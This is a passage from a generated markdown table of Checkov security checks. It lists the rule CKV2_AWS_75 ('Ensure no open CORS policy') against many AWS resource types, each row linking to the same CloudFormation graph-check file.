[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  664 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  665 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  666 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  667 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  668 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  669 | CKV2_AWS_75 | resource | aws_ec2_fleet                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  670 | CKV2_AWS_75 | resource | aws_ec2_host                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  671 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  672 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  673 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  674 | CKV2_AWS_75 | resource | aws_ec2_instance_state                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  675 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  676 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  677 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  678 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  679 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  680 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  681 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  682 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  683 | CKV2_AWS_75 | resource | aws_ec2_tag                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  684 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  685 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  686 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  687 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  688 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  689 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  690 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  691 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  692 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  693 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  694 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  695 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  696 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  697 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  698 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  699 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  700 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  701 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  702 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  703 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  704 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  705 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  706 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  707 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  708 | CKV2_AWS_75 | resource | aws_ecr_account_setting                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  709 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  710 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  711 | CKV2_AWS_75 | resource | aws_ecr_registry_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  712 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  713 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  714 | CKV2_AWS_75 | resource | aws_ecr_repository                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  715 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  716 | CKV2_AWS_75 | resource | aws_ecr_repository_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  717 | CKV2_AWS_75 | resource | aws_ecrpublic_repository                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  718 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  719 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  720 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  721 | CKV2_AWS_75 | resource | aws_ecs_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  722 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  723 | CKV2_AWS_75 | resource | aws_ecs_service                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  724 | CKV2_AWS_75 | resource | aws_ecs_tag                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  725 | CKV2_AWS_75 | resource | aws_ecs_task_definition                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  726 | CKV2_AWS_75 | resource | aws_ecs_task_set                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  727 | CKV2_AWS_75 | resource | aws_efs_access_point                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  728 | CKV2_AWS_75 | resource | aws_efs_backup_policy                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  729 | CKV2_AWS_75 | resource | aws_efs_file_system                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  730 | CKV2_AWS_75 | resource | aws_efs_file_system_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  731 | CKV2_AWS_75 | resource | aws_efs_mount_target                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  732 | CKV2_AWS_75 | resource | aws_efs_replication_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  733 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  734 | CKV2_AWS_75 | resource | aws_eip                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  735 | CKV2_AWS_75 | resource | aws_eip_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  736 | CKV2_AWS_75 | resource | aws_eip_domain_name                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  737 | CKV2_AWS_75 | resource | aws_eks_access_entry                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  738 | CKV2_AWS_75 | resource | aws_eks_access_policy_association                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  739 | CKV2_AWS_75 | resource | aws_eks_addon                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  740 | CKV2_AWS_75 | resource | aws_eks_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  741 | CKV2_AWS_75 | resource | aws_eks_fargate_profile                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  742 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  743 | CKV2_AWS_75 | resource | aws_eks_node_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  744 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  745 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  746 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  747 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  748 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  749 | CKV2_AWS_75 | resource | aws_elasticache_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  750 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  751 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  752 | CKV2_AWS_75 | resource | aws_elasticache_replication_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  753 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  754 | CKV2_AWS_75 | resource | aws_elasticache_security_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  755 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  756 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  757 | CKV2_AWS_75 | resource | aws_elasticache_user                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  758 | CKV2_AWS_75 | resource | aws_elasticache_user_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 